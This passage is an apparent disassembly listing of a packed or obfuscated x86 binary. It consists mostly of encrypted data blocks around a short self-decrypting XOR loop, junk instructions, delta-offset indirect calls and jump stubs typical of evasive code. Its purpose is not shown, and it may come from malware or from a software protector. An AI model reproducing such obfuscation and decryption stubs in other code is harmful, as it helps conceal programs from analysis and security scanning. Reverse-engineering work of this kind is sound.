		dd 0EFDDF06h, 3DCCEFD6h, 0EFFE007h, 104BECD6h, 2396E16Dh
		dd 8CC385EAh, 0B4557863h, 4E6F787Dh, 0E9CEBFh, 42A79005h
		dd 6E5D2C3h, 0C210FF03h, 0E5F1CC1Ch, 2F594F21h,	998084Dh
		dd 0CEDA0000h, 0DA7C8731h, 96860777h, 9B42BD29h, 9CB2676Eh
		dd 0D50C56C0h, 0E60805EAh, 0A49F049h, 2996856Fh, 8591EC27h
		dd 110E2996h, 2A5300ADh, 0A7299685h, 22C82FFAh,	0ECFA4DE1h
		dd 0CA2F961Eh, 5965842h, 58836A4Bh, 1ED678B1h, 9C3FB861h
		dd 599BDE7Dh, 6B182397h, 0D47A2FA6h, 8E7F6057h,	8A836C53h
		dd 76C05603h, 0D2AB6891h, 4F239759h, 6DC77A52h,	0AF8EC346h
		dd 6C6F509Fh, 4D408982h, 57CF28ACh, 50D03ACAh, 0BC34A2BEh
		dd 732F710h, 0E629C532h, 1DBD3AEFh, 0BD0144EAh,	0B0298FC4h
		dd 3AEF1AC1h, 0FECF9AD9h, 664F60BEh, 1083h, 45F71AB5h
		dd 2BD13EA2h, 3FE51ECCh, 2AD23398h, 34E81FCBh, 0C8F4A3DEh
		dd 943A9D3Fh, 0BB22C577h, 8E2F964Eh, 0C2775D7Fh, 96E0E891h
		dd 40006523h, 0D38D638Ch, 0DB1C2030h, 0E38607C2h, 9B7CFD1Eh
		dd 0C9F22995h, 0FEE0B93Ch, 0E1FEED01h, 0E50AF52Ch, 9B621B38h
		dd 22DF2995h, 2333E6E7h, 6F7B4ACAh, 4F7B607Dh, 0AD6435B8h
		dd 0C5259277h, 789E4B42h, 2FB7D993h, 1E49E4Dh, 0CE680000h
		dd 0D87E8931h, 5459B419h, 44C12A95h, 739A43B2h,	95E873CEh
		dd 0B299685h, 0F3A627DEh, 36001613h, 0EE5BFBD1h, 8C7512B4h
		dd 4268FE6Ah, 96246811h, 0F138E529h, 56370B48h,	602A2F8Fh
		dd 0CFF07B3Ch, 0AE2B73Eh, 0AC657AADh, 0A4618A75h, 0DD67831h
		dd 0A269536Ch, 3ABCB98Ch, 953A239Dh, 14877578h,	15ACC3B6h
		dd 0FFEDFD8h, 50C7AE9Eh, 0C8D172E6h, 0CF8FDB32h, 0DE90BE49h
		dd 910EF9E1h, 0D439DD28h, 48D68D18h, 3CDDh, 69FF2700h
		dd 0DB310831h, 8A32C725h, 4BFE103Ah, 2F8F1CE3h,	78C01FEh
		dd 239CF772h, 6A8B651h,	0F75D203Bh, 2DDA239Ch, 0D3680409h
		dd 162D48D6h, 0F0000001h, 80E2511Ch, 48EE7138h,	78638CF2h
		dd 6940B556h, 0A24A2DA0h, 2EC97065h, 0A0797C91h, 859FDA79h
		dd 5F1C2996h, 5EBF20CFh, 9685BCBDh, 854C3929h, 0DB636910h
		dd 97E271AEh, 1429967Eh, 71A78567h, 912EBD51h, 21AECF8Ch
		dd 7E2B2996h, 7AAF5A81h, 71AD4DBFh, 119869C6h, 83F033FDh
		dd 4F299694h, 6D818268h, 75AC617Eh, 41DA869Fh, 0B8E2B6A9h
		dd 0D018655Ch, 0D0EEE920h, 4FDFBA3Bh, 0B7E375E5h, 9195D182h
		dd 4B382F91h, 48C32996h, 0B5829445h, 0BF65A24Ah, 8E815D5Ah
		dd 2DBC5207h, 30A3488Dh, 40B57C8Dh, 59D68369h, 0FC620411h
		dd 0B58DE635h, 7E77B0FBh, 0E9277h, 0F41DC400h, 0C649A550h
		dd 0F211B71Eh, 0C73EAB4Ah, 0FD0AB215h, 7B4ED47h, 0D50024E3h
		dd 5F014F7h, 0D60123E6h, 2F014F9h, 0DE532635h, 1BD02396h
		dd 0B7608C5Dh, 7447C755h, 7784389Ah, 29961906h,	3FB64F7Ch
		dd 4287746Ah, 7B923B9Ah, 9DE07BC6h, 13299618h, 0B77263AAh
		dd 7AB45A47h, 78638CA4h, 777EB354h, 86BE4F70h, 68D5Dh
		dd 69FFA300h, 0AF0CF514h, 7212FA09h, 78A16888h,	8F678BDBh
		dd 9049362Fh, 29CFAA69h, 4F4C239Dh, 67878868h, 9B44BB7Eh
		dd 0C69DC72h, 0EB239D2Ah, 9C503624h, 5948D601h,	2D1h, 58AF1BA4h
		dd 0CC728455h, 808B31CEh, 20785C0Dh, 0D633D9AEh, 2656F91Dh
		dd 0D82995C6h, 0EFDBFCDFh, 213DD118h, 8BB66BB7h, 95C6ADD0h
		dd 0D97D2A29h, 6031BF5Ch, 0BEC82F95h, 66852008h, 0A257928Ch
		dd 577A6057h, 44159877h, 0B6C7548Dh, 332395ACh,	0AC11E076h
		dd 993FB861h, 0A0B6636Ah, 7F8E2F96h, 6C546B0Eh,	0D77732A3h
		dd 27931D8Bh, 7F029E0h,	251224E3h, 8ED0C8F6h, 104BF629h
		dd 1D9C886Dh, 8883F625h, 3001D9Ch, 0A850E6A3h, 3BC920FBh
		dd 2A4BBEFEh, 0D523Bh, 0B45D8400h, 86896590h, 0B251775Eh
		dd 877E6B8Ah, 0BD4A7255h, 4774AD87h, 15C064A3h,	45B054B7h
		dd 16C163A6h, 42B054B9h, 0DC93E675h, 5B102396h,	8731CE9Dh
		dd 0A069A64Ah, 1BDA7C2Dh, 2EA65BB2h, 0B0D280D3h, 5B84AAD4h
		dd 0C5B8639Eh, 42299684h, 9D42B145h, 0A1689D3Eh, 0AA597F78h
		dd 725C5B84h, 4C858467h, 8A7F5E49h, 5A888703h, 0B19D8884h
		dd 500B12BBh, 2996842Dh, 844336E5h, 0C3C02996h,	39EB26E3h
		dd 0D203E7D0h, 0FDAC21EEh, 73ED2234h, 434D2F5Ch, 5BFB14BCh
		dd 19CCFh, 49A51200h, 0F41ACFC6h, 8D638C3Eh, 6E4EE2A5h
		dd 0D8DD141Ch, 0CFEDEECFh, 29E0B93Ch, 89D147F3h, 3E7FC350h
		dd 0B5722F8Fh, 0A0937940h, 0E24F1FDAh, 0A7CE8195h, 86239CB2h
		dd 0F973537Fh, 0CD48D68Ah, 6E808D32h, 7AB2h, 69FF9400h
		dd 570B6A14h, 0AD64CCF8h, 0AC638B74h, 1955848h,	0D264D4BCh
		dd 0A774B665h
		dd 2DCA2F8Eh, 1ED6788Bh, 777E8D2Fh, 5AB267A2h, 0AD0F2329h
		dd 2F10765Eh, 3944CF0Ah, 0B6239BEFh, 0FDBC25C9h, 0FB5FA717h
		dd 76D93BD2h, 0F94CE286h, 239C567Ch, 0C035D2FAh, 2F312B7h
		dd 0AF6F7B8Ah, 0BE705EA9h, 0F5559D41h, 615E4EAEh, 0FFE8ED24h
		dd 52E42DDCh, 0D54923BDh, 0C8E448h, 8C3E0000h, 96547863h
		dd 0DE0F42A6h, 0F4EB26B5h, 518841CAh, 0A7126BA8h, 89CA2995h
		dd 2995A6F0h, 514EB06Dh, 974324BDh, 557A7D70h, 8D3235B8h
		dd 0AAD55C80h, 562995F9h, 5888369h, 8C836B54h, 0AB628B6Ah
		dd 0AA699079h, 299553CFh, 8165A845h, 60F67284h,	0FF3AFF3Ah
		dd 95532954h, 55F9A629h, 914474F2h, 8565522Fh, 0C42C0B82h
		dd 5A8F4A4Bh, 9A3F3CB4h, 924ABD1Dh, 33808733h, 0B0FAE5CEh
		dd 70D2D3DCh, 0A200000Bh, 0CB2AD23Fh, 8D38EC23h, 0C124D82Bh
		dd 9037ED18h, 0B29DB2Ch, 601E996h, 36D5F7DEh, 504E70Eh
		dd 36D7F8DFh, 813E40Eh,	2396DB75h, 0CEBB7DF2h, 8595E873h
		dd 15122996h, 3DCAF201h, 0EFFE007h, 638C38D6h, 9B4423AAh
		dd 8B30C772h, 795AD47Ah, 382h, 3169FFC7h, 1EFF4B08h, 0A21D2F96h
		dd 0FCACB38h, 0D1C445A8h, 1FEF618h, 0EB72078Ch,	0CEF02396h
		dd 0AAFB83Dh, 9463FAFBh, 85809846h, 0C7F36D59h,	0EBB448D0h
		dd 87000002h, 0D1D71285h, 318D34C9h, 3D0313DEh,	968598E8h
		dd 0C5ED7B29h, 9685E396h, 6EA36029h, 669F4CB3h,	639E63D0h
		dd 9685C5B8h, 5A454229h, 4A1F9673h, 1F9DA1A4h, 76CB2F96h
		dd 96EB94E5h, 0AB141123h, 15C4C940h, 0D50CF901h, 0AE27932Ch
		dd 1E30F90Eh, 242FEECFh, 2396EB59h, 38D7F7D6h, 0E42DE4B5h
		dd 0B4F5D740h, 4D284F04h, 0BA23D264h, 7C50BB21h, 0F542BFC7h
		dd 51448D92h, 0EE134FD9h, 0CA43AC13h, 4D0016C3h, 29906671h
		dd 615CB764h, 1BBEFFAFh, 0A4D0B1Ah, 607F0000h, 846C8BB1h
		dd 4C6E598Bh, 796285B7h, 4D6D588Ch, 71B082BAh, 0B76D9A42h
		dd 0A75DAE10h, 0B86C9D40h, 0A75DB00Dh, 9EDF7C3Dh, 1B2396D9h
		dd 31CE12B6h, 0F9848F8Ah, 76299685h, 3FAE4089h,	6A9D3D9Eh
		dd 0A4492E9Fh, 47F06469h, 1FE0FB0h, 0F1A82DD8h,	0BCB09E5Dh
		dd 0FA3FFA13h, 96852059h, 4EE09D29h, 5D411BE4h,	0E7064D2Fh
		dd 0E0000001h, 23AA638Ch, 0CA729B44h, 3AA0089Eh, 89FA20ACh
		dd 0D01975DFh, 1CC50CDDh, 236BEFE5h, 13816BC4h,	96617508h
		dd 2135F229h, 714ED14h,	29966176h, 88D37B01h, 0D9CDB821h
		dd 0FB470A2Ch, 292F8F99h, 363A43D0h, 0CAB7239Dh, 70B2CC24h
		dd 0F6BB0D78h, 6A199C55h, 239CB70Bh, 24A96489h,	7E6F9643h
		dd 0B767739Ah, 0B67866A1h, 0C34C748Bh, 9CB64538h, 31C5C223h
		dd 0D69600DCh, 38C548h,	0FF1F0000h, 4B083169h, 2F8F97E3h
		dd 0ED8C01FEh, 971EEBD2h, 5C192CC2h, 3B239D72h,	0CFE886D4h
		dd 0C0991CEBh, 4E07D92Eh, 0EC048D6h, 1B000001h,	664435E6h
		dd 0C4C1239Dh, 638C0C32h, 798623AAh, 5796B853h,	8C796273h
		dd 0BB239C45h, 66886154h, 9943BC7Dh, 0B00DDC72h, 7F4AC12Bh
		dd 9749F5Ah, 86299686h,	0CD6C7599h, 2D7F8C32h, 86CB12E0h
		dd 9E80E7Bh, 30F329E4h,	2996C563h, 47FD10ADh, 0A45D8513h
		dd 5459B01Bh, 7DC47185h, 5DAF5C82h, 0B139541Ah,	447E724h
		dd 2F923666h, 0DAE51C09h, 86F724F1h, 3239A54h, 0FCACB06h
		dd 320732FFh, 9A545821h, 628D523h, 0DD0403E7h, 5486F724h
		dd 603239Ah, 3B9F46F0h,	0AA7EFDAFh, 0BA6FE163h,	0FB136859h
		dd 142112B0h, 887h, 49FB16B9h, 17CD429Eh, 43F90AB0h, 16CE37A4h
		dd 48FC0BAFh, 0E408B7EAh, 0F8D60123h, 0E706F113h, 0F2DBFA22h
		dd 3EFBE91Bh, 96D85C1Dh, 0D474D923h, 3C2746CEh,	21C94736h
		dd 8D5C51BCh, 9743B244h, 0A9AAD380h, 48272995h,	61A861A2h
		dd 7A615EBBh, 4F707F8Fh, 16A186BEh, 4AB91FB6h, 0BB5B0E7Fh
		dd 8D31CE85h, 569B6C50h, 4F8C31C0h, 61549D6Ch, 4CBB1F98h
		dd 6F7E9049h, 0DE318D4Eh, 1AEBD0D7h, 1E21ACFh, 66h, 0EE1DBF38h
		dd 31CEF248h, 1AD97D88h, 2BA158B5h, 174E6861h, 0AE37385h
		dd 0AE1BC01Dh, 4E835657h, 4BC42C93h, 667F8F4Ah,	3CB15C81h
		dd 75788F3Bh, 7E6E7C93h, 0ED60A95Eh, 0FF06B34Ch, 0F526DB8Eh
		dd 29968484h, 13F20401h, 0D308E5C7h, 36EE23EAh,	409E6D1h
		dd 0B536D891h, 3Ch, 0A2331004h,	6AC460AEh, 31CE6EC4h, 5E0B828Dh
		dd 799439B8h, 0A24AB574h, 0F87ED165h, 0E299685h, 0D8319C23h
		dd 8587F221h, 17042996h, 14DA08F7h, 0D9C63DABh,	0F5F41AF5h
		dd 310F35D8h, 95E873CEh, 12299685h, 92C1BF15h, 696821CEh
		dd 44C926C5h, 0C251A851h, 299658B7h, 6A504734h,	7FE97599h
		dd 5641CCF1h, 0A35E9378h, 5459B21Ch, 97C47185h,	2F95F2B7h
		dd 956C9592h, 4647C42Ah, 4B748393h, 3DA017C2h, 0FE10C9CCh
		dd 0E12C9134h, 0B2E87EECh, 57D7CC87h, 0BC432996h, 0E726C712h
		dd 0F7FE33E6h, 37E40C22h, 18D8F502h, 60814638h,	423BD845h
		dd 0BF1D9725h, 17C207C2h, 40DB3CA0h, 1D97253Dh,	9104CDBAh
		dd 1BFC36D8h, 0DDD039A4h, 0E20BEA0Ch, 0E41EF62Bh, 73CBE143h
		dd 0C1688195h, 0E1759A36h, 12C71385h, 13A46DBAh, 0D78B61A8h
		dd 1C193DACh, 8FE59FFFh, 0CE2DDA23h, 0A4FF35C3h, 0A095A091h
		dd 0D2000006h, 0DBFA22EFh, 0FDE81CF3h, 0D1F428DBh, 0E71DE8h
		dd 1BF92BDCh, 0F611B9E6h, 0C645A74Eh, 0F514B71Eh, 0C647A84Fh
		dd 5803B41Eh, 2396D625h, 8C8B2DA2h, 886FAA63h, 0A892A465h
		dd 686DA03Dh, 3EAF5E7Fh, 351BF1A6h, 88F8A2B0h, 81CD2CC2h
		dd 760714EDh, 0F3299679h, 0ECD12036h, 0B61EFB21h, 0E92A1780h
		dd 2995F790h, 0DBBC100Dh, 37E0B628h, 0AE93429Dh, 0A23ED363h
		dd 724D2F4Eh, 30A56885h, 6449D579h, 9B000000h, 124169FFh
		dd 29968567h, 47F237E4h, 8FD4550Ch, 1BCF452Fh, 79535487h
		dd 1613EB0Bh, 21EAD4EBh, 0E81FCBACh, 97200D21h,	932CD534h
		dd 0D0D7DE25h, 44EA1FF0h, 291467EAh, 318E239Dh,	1EBD28DCh
		dd 0CD3FEAEBh, 4A64D807h, 0DF0BF4E1h, 0C8E50628h, 14000005h
		dd 0F14B2EEDh, 1DC1239Ch, 0B82EFBF2h, 8C152BCBh, 0B6577863h
		dd 4B6D6A3Fh, 0AD6435B8h, 0C2A8A074h, 0AF26DF0Ch, 0E97712FAh
		dd 0D1AD363h, 1BA45DB0h, 76C056ADh, 44C92691h, 82876651h
		dd 2DBBA747h, 0AF54CF5h, 3CC9F2E1h, 529E0B9h, 8F2AFC42h
		dd 318D2A2Fh, 0C3C038DEh, 0C73441D2h, 0FC13239Ch, 0E74418EEh
		dd 7A0148D6h, 0E3000000h, 95E873CEh, 12299685h,	0F3650115h
		dd 7BB65975h, 428F39C6h, 2FA66B98h, 0A257D47Ah,	491C6C2Ah
		dd 0A648F630h, 8ED98BA3h, 0FAD6E12Fh, 25C9A015h, 0CC419ECDh
		dd 0D4D910C9h, 0C946AA15h, 0B4532225h, 0EBD1239Ch, 26CAAD20h
		dd 32F716B7h, 95532BBh,	9A59DF38h, 0DD148ADEh, 9516FE43h
		dd 0D2662060h, 438F6E80h, 0D6FEE983h, 9E42BD48h, 3241DD71h
		dd 9C000001h, 0BF4FB623h, 8C73CE79h, 7623AA63h,	968594E5h
		dd 2141129h, 0AA11CAF3h, 76BB6E5Fh, 828B34CBh, 0CCAD6E0Bh
		dd 49299685h, 6881955Ch, 537A5B7Fh, 0D97A3FB6h,	299685A0h
		dd 60A9601Dh, 699E3EB9h, 625D1CC5h, 8B6A8C79h, 0B5507962h
		dd 2DA06940h, 0B468A54Ah, 968AF26Dh, 0F7E1DE29h, 0E20BEA0Ch
		dd 0A710F92Bh, 0C332C443h, 0F34EF31Ah, 57D66C21h, 0CC675FEDh
		dd 29964FB1h, 4DD712Eh,	0B02B6F65h, 0F2FF0C04h,	4C96005Ch
		dd 0D5CC8695h, 0EA972F8Eh, 0E223C82Fh
		dd 8DD63EEBh, 9DBDA8BEh, 6FDB55F9h, 0DB78A1F9h,	29995289h
		dd 0AA638C73h, 5D7D6C84h, 3DBA5FAAh, 77F84D9Dh,	755AAF73h
		dd 7D5D88BCh, 9C6C298Ah, 52EBEF2h, 41A20h, 6CA54C00h, 5EB10DB8h
		dd 6A993FA6h, 5FA613B2h, 55B21ABDh, 5F1C95AFh, 6D588C7Bh
		dd 5D88BC4Fh, 6E598B7Eh, 5A88BC51h, 0D3FB7E9Dh,	0D3782396h
		dd 0A7608C35h, 946D9475h, 9685F687h, 0A5B67329h, 299685D4h
		dd 7263A04Ah, 5A3D47B7h, 254F39D5h, 7F6E8049h, 9238BF5Eh
		dd 8EAD7C71h, 299625EBh, 0CE76BB68h, 3169FF70h,	19DB3108h
		dd 0FB6F3627h, 0E6480B2Bh, 3C2F8F1Dh, 0E7EE15C3h, 0F5D41C32h
		dd 0E9C035D8h, 0E0FEF920h, 31E20B2Bh, 239CF844h, 38E31E23h
		dd 239CF845h, 0D231C5C2h, 0D02EC284h, 4BF648D6h, 9CEC6D10h
		dd 83F62523h, 239CECh, 3BE6A303h, 9CEC5D20h, 92DDA23h
		dd 11D1Dh, 638CE700h, 454A918Dh, 0BA6F66A9h, 0FAE96052h
		dd 19FBBE2Fh, 20FC03BFh, 1F00689h, 38D1FCD9h, 17C448F1h
		dd 16EB42D6h, 0CB6E7797h, 13604849h, 73833059h,	965583E0h
		dd 67886F29h, 7C24B74h,	26E708E7h, 409E19FEh, 0FF0FCACBh
		dd 33ECFF0h, 0C47D0FCh,	29964B71h, 56F831EEh, 0E9D3EC8Dh
		dd 58FEAB22h, 99409A0Ch, 8F61D87Ah, 65F6A32Fh, 239D3614h
		dd 677A491h, 83239D36h,	5E864B86h, 0C7F47CEAh, 27E2B73Eh
		dd 710C47F2h, 0EE239D35h, 0E9101D31h, 0F91DF2CEh, 9925AB56h
		dd 0B66B1829h, 0BE66A149h, 557C5E59h, 4A1F9679h, 0BB5B0E7Fh
		dd 9C77903Ch, 0BEF28609h, 9C738273h, 0CE000002h, 0FFE61EF3h
		dd 0E90C30DFh, 0F5E004FFh, 0EC0B31D4h, 3FD50700h, 0D23595C2h
		dd 0EA21CB2Ah, 0E1289332h, 0DA339C3Bh, 5CF7C022h, 2396D221h
		dd 0CE87299Eh, 0D87E8931h, 5966B119h, 27B9873h,	7F299686h
		dd 3A924782h, 0BA59DB61h, 2995CBBFh, 846D3F3Ch,	102ACCF6h
		dd 0EAD308E5h, 32F7B223h, 638C340Ah, 9B4423AAh,	8A30C772h
		dd 8971C05Ch, 16DB2B15h, 0CDF3AD9Fh, 31A075C0h,	2EDDFFF8h
		dd 26C72E08h, 70215CF7h, 0E19E2996h, 0A97A4E0Bh, 7DB47DFCh
		dd 277B50C4h, 0AD20EBD1h, 2EEA18FCh, 19952E4h, 29964B97h
		dd 684F46C1h, 0AB4B8687h, 20D1CD8Eh, 0FA042F8Fh, 0DD840F89h
		dd 0DDD019FDh, 9419F6DAh, 0F1E42B93h, 0F01FBF38h, 0A0AE5DFDh
		dd 0B9A564FEh, 0E1030AB3h, 4B6D438h, 74378883h,	0CA1086E2h
		dd 77E2EA0Fh, 46F4A62Eh, 56DC9DBEh, 0AC59239Dh,	5C6EAD8Ah
		dd 3729967Ch, 0BB21B418h, 458C5D50h, 0A9509950h, 0C627AE0Eh
		dd 736C8247h, 0ADD08BB6h, 651DA431h, 0A431C3B6h, 6343401Dh
		dd 7C6190A6h, 6A8F7E5Fh, 0A431D0A9h, 99504D1Dh,	60A71314h
		dd 0A5628A6Dh, 311D6830h, 0B641E86Dh, 2900F51Ah, 46E8F605h
		dd 60F611B9h, 91489204h, 0A7D0E83Bh, 688EA226h,	0CB9E76CBh
		dd 0D09AFA50h, 0CFAA6990h, 4C1DA3F0h, 428CBF4Fh, 1D239D16h
		dd 0CB9AE370h, 381717AAh, 40B77293h, 0AF6A6B9Ch, 0BA23C27Ah
		dd 76556253h, 91782293h, 87866745h, 0A34BB455h,	89ECA6Ch
		dd 0B6EC27D2h, 0E91DA3CCh, 2C0F053Ch, 0A5B3BBDEh, 39FC13F9h
		dd 1DBA77CBh, 0E607F0F9h, 7A611C37h, 21DE11B2h,	3EF318B6h
		dd 0FE0FB0B7h, 9CCF0F7h, 0F3A627E2h, 3245B73Eh,	29E07A24h
		dd 6A86713Dh, 0A5172C88h, 75BCAF04h, 0D985A980h, 0E6EE134Fh
		dd 7837AADEh, 251224FEh, 2C0FF8DCh, 2FEE23EAh, 0CF762C1Fh
		dd 0FCA917AAh, 7DEDDF48h, 0E97CB61Ah, 0DE13FCE4h, 60BA2C38h
		dd 0D38C80B9h, 48671E03h, 0BFE07383h, 0F811B8D1h, 409D8A0Bh
		dd 0FB017CDh, 4D4CF7FEh, 164A1BFh, 0EBD4D806h, 57CB8C05h
		dd 49A5A47Dh, 1BC60BC6h, 38E33CA4h, 0A6D09445h,	890CC5C2h
		dd 8FEA29D0h, 0CA6D094h, 0D435FF0Fh, 939E7600h,	0CC62977Ah
		dd 0B21BC01Dh, 4A7F5A5Bh, 5C776443h, 0BC1F9871h, 8911844Dh
		dd 77585482h, 480475A6h, 8481A6D1h, 0AC1EFD30h,	8C19B05h
		dd 5E6D1h, 0DBD23197h, 0A74EE80Eh, 0DFC6C746h, 3, 8C390F21h
		dd 3E29AC65h, 7E696CA1h, 4423AA5Fh, 7B7C719Ah, 3235B84Fh
		dd 6F787D8Ah, 2D3ABB4Ah, 7275788Bh, 1BCCC14Eh, 81E38953h
		dd 4C3h, 4EB8100h, 87000000h, 895C241Ch, 868243Ch, 8900007Bh
		dd 89512434h, 4C181E1h,	81000000h, 4E9h, 240C8700h, 243C895Ch
		dd 73F0B951h, 0F181391Fh, 6F8E5D7Dh, 0D5E98149h, 89509193h
		dd 240C8BCEh, 4C481h, 0EC830000h, 24248904h, 4240481h
		dd 5F000000h, 4EC81h, 34890000h, 8478F24h, 5F2434FFh, 4C481h
		dd 348B0000h, 0E3895324h, 4C381h, 0C3810000h, 4, 5C241C87h
		dd 0F9C7FDE9h, 0D4253CFFh, 0B67FB89Bh, 0C50305FFh, 0E841E0FFh
		dd 0CF9355DBh, 40525814h, 0BE445FDh, 41244BF5h,	597C1FBBh
		dd 93BE591Bh, 36857CBFh, 0CB63200Eh, 18329F9h, 0AF4D4924h
		dd 71712FB4h, 7C9022D7h, 3BD20C47h, 4E216EF9h, 74887108h
		dd 0B0610C8Ah, 0F34F323Ch, 599F773Bh, 4AFC1E6Bh, 0F75A28CCh
		dd 444300C1h, 220DFCh, 99C6142Dh, 0FB303FBDh, 0F33A2050h
		dd 0EB4C22F9h, 8D8D07A0h, 5FFB82Fh, 0E852006Ah,	3, 5AC35A20h
		dd 4245489h, 4244481h, 16h, 0A8C35242h,	0DE8F4B7h, 83000000h
		dd 0C321AF00h, 0C4EB95E0h, 9F99820Bh, 5ED68B66h, 0CDD8D89h
		dd 0E96005F9h, 11h, 0A22D29ADh,	731DD64Fh, 0CF1DFA3Dh
		dd 6FDBBF29h, 85C761BAh, 5F926C1h, 5A94h, 0DE9h, 4E27B300h
		dd 1255371h, 0FFD6D1E5h, 85C7FD06h, 5F900FDh, 0
; ---------------------------------------------------------------------------
		jnp	loc_5D6E04
		jmp	loc_5D6E04
; ---------------------------------------------------------------------------
		db 0CFh
; ---------------------------------------------------------------------------
		retn	709Ch
; ---------------------------------------------------------------------------
		db 0DBh
; ---------------------------------------------------------------------------


loc_5D6E04:				; CODE XREF: .XComp0:005D6DF4j
					; .XComp0:005D6DFAj
		push	dword ptr [ebp+5F90FD9h]
		mov	esi, 4B47403Bh
		call	dword ptr [ebp+5F920D5h]
		push	0
		call	dword ptr [ebp+5F91AEDh]
		mov	eax, eax
		jmp	short loc_5D6E2D
; ---------------------------------------------------------------------------
		inc	edi
		retn	1A64h
; ---------------------------------------------------------------------------
		db 84h,	41h, 0FFh
		dd 0C7BA479Bh
; ---------------------------------------------------------------------------
		xchg	eax, ecx


loc_5D6E2D:				; CODE XREF: .XComp0:005D6E1Fj
		call	near ptr loc_5D6E39+5
		mov	eax, ds:0B81B1E5h
		or	esi, ebx


loc_5D6E39:				; CODE XREF: .XComp0:loc_5D6E2Dp
		cmp	esi, [ebx+5AF65FF8h]
		add	[ebp+5F91635h],	esi
		add	edx, 5EA1h
		mov	[ebp+5F904F9h],	esi
		xor	eax, eax
		mov	esi, [ebp+5F911C9h]


loc_5D6E59:				; CODE XREF: .XComp0:loc_5D6ED5j
		push	dword ptr [eax+edx]
		xor	si, 5AD5h
		pop	ecx
		jb	loc_5D6E70
		push	eax
		sub	ebx, [ebp+5F91EC9h]
		pop	esi


loc_5D6E70:				; CODE XREF: .XComp0:005D6E62j
		xor	ecx, 18B80F62h
		xor	esi, [ebp+5F918D9h]
		xor	ecx, 6BA9FFE0h
		mov	[ebp+5F92AC1h],	eax
		xor	ecx, 35F463BAh
		jl	loc_5D6E98
		mov	di, 7733h


loc_5D6E98:				; CODE XREF: .XComp0:005D6E8Ej
		mov	[edx+eax], ecx
		mov	[ebp+5F92605h],	ebx
		add	[ebp+5F91B25h],	ecx
		sub	eax, 2
		mov	si, cx
		dec	eax
		dec	eax
		push	edx
		mov	edi, 76162628h
		pop	ebx
		cmp	eax, 0FFFFA210h
		jnz	loc_5D6ED5
		mov	edi, 28A9BF1h
		jmp	loc_5D6EE7
; ---------------------------------------------------------------------------
		dd 1884539Ah, 98736201h
; ---------------------------------------------------------------------------
		clc


loc_5D6ED5:				; CODE XREF: .XComp0:005D6EBCj
		jmp	loc_5D6E59
; ---------------------------------------------------------------------------
		inc	edx
		adc	[edx+63h], esp
		test	byte ptr [ebx],	66h
		mov	esp, 48201A48h


loc_5D6EE7:				; CODE XREF: .XComp0:005D6EC7j
		jmp	loc_5D6F8F
; ---------------------------------------------------------------------------
		dd 5653DE5Ah, 0BAF5CC47h, 66D138F3h, 9FABAFD6h,	7C4DB297h
		dd 95B7E3h, 0E9A9E572h,	9BB69CB5h, 0B6F37760h, 9EB794A9h
		dd 7D60D760h, 9EA9BD89h, 729EBD8Ch, 4A95ACE3h, 9BB98B20h
		dd 9D89937Eh, 0AFF496B9h, 94A19E96h, 91A7D6B5h,	48D100FDh
		dd 33594ACCh, 5200713Ch, 0F357DB4Dh, 0EFB6005Eh, 0BD899DBBh
		dd 9F899500h, 97BBEFB6h, 0B1B6D000h, 527155C3h,	0DA43700h
		dd 910D3C2h, 0Eh, 8 dup(0)
		db 3 dup(0)
; ---------------------------------------------------------------------------


loc_5D6F8F:				; CODE XREF: .XComp0:loc_5D6EE7j
		jmp	loc_5D86D4
; ---------------------------------------------------------------------------
		push	5FFBC22h
		jmp	loc_5734FA
; ---------------------------------------------------------------------------
		push	5FFBDD3h
		jmp	loc_5734FA
; ---------------------------------------------------------------------------
		push	5FFBF36h
		jmp	loc_5734FA
; ---------------------------------------------------------------------------
		push	5FFC0D9h
		jmp	loc_5734FA
; ---------------------------------------------------------------------------
		push	5FFC1A2h
		jmp	loc_5734FA
; ---------------------------------------------------------------------------
		push	5FFC262h
		jmp	loc_5734FA
; ---------------------------------------------------------------------------
		push	5FFC363h
		jmp	loc_5734FA
; ---------------------------------------------------------------------------
		push	5FFC444h
		jmp	loc_5734FA
; ---------------------------------------------------------------------------
		push	5FFC55Dh
		jmp	loc_5734FA
; ---------------------------------------------------------------------------
		push	5FFC668h
		jmp	loc_5734FA
; ---------------------------------------------------------------------------
		push	5FFC772h
		jmp	loc_5734FA
; ---------------------------------------------------------------------------
		push	5FFC9D4h
		jmp	loc_5734FA
; ---------------------------------------------------------------------------
		push	5FFCD33h
		jmp	loc_5734FA
; ---------------------------------------------------------------------------
		push	5FFCE93h
		jmp	loc_5734FA
; ---------------------------------------------------------------------------
		dd 699B7659h, 77AD627Eh, 63996A50h, 76AE5784h, 689C6B4Fh
		dd 0C42857CAh, 9836A143h, 0C726D173h, 923B9A42h, 5E1BC97Bh
		dd 96CBBCBDh, 0F4943923h, 5878638Ch, 30A56885h,	6C3DB079h
		dd 0A64730A5h, 0A927CC4Ah, 1F3C6F84h, 29961F5Eh, 2EE32EDBh
		dd 8ED442F6h, 517AC853h, 0C06D2F8Fh, 9CEDEA93h,	52BA6723h
		dd 2636D407h, 7CA56CE5h, 3EAF5683h, 5722CB6Bh, 60871A2h
		dd 9885239Dh, 5A6D376h,	0BC85239Dh, 333F0658h, 4BEB61B1h
		dd 4D8AEBCh, 0D048D62Ah, 910403E7h, 0BFADFD8h, 683FEBh
		dd 0F5020000h, 1C2234D7h, 95E873CEh, 12299685h,	500BF15h
		dd 0C85A3C8Fh, 76AC3A26h, 818A34CBh, 7CB95D0Ch,	8F1D4FDFh
		dd 0C4A06A2Fh, 8F2FFD54h, 16BD30F9h, 239D6F5Fh,	8508FBDDh
		dd 0DCD13EA2h, 9A1BF2DBh, 4C9A6DBFh, 46B18692h,	0BB6E5FA4h
		dd 0B07E6C9Bh, 0D066A547h, 0D64BA13Bh, 638A7548h, 0D47A2FA6h
		dd 14448h, 638C9A00h, 798623AAh, 6534B954h, 4DBA22D1h
		dd 0BA16A148h, 8D32C155h, 0C52A0D80h, 0CE739448h, 8595E873h
		dd 15122996h, 96857306h, 803E929h, 35F2D485h, 0EF4060DFh
		dd 7D91AABBh, 95AF96CAh, 3AA13E29h, 6E9B4291h, 0C27732A3h
		dd 95A5E891h, 71B86529h, 2DC32CCBh, 131EFE95h, 0CD409DC6h
		dd 21C8CD04h, 227895ABh, 48A8DBE0h, 0DE13C6C7h,	60BA2C38h
		dd 0F5C49AB9h, 58772F8Eh, 0A75D9475h, 0C2557582h, 9CA3E891h
		dd 71B86523h, 0BC537B7Ch, 1385E175h, 37E43795h,	239CA346h
		dd 940BC6C3h, 1D8DD26h,	0CFE811C8h, 0BF9A1BEAh,	96E11C2Fh
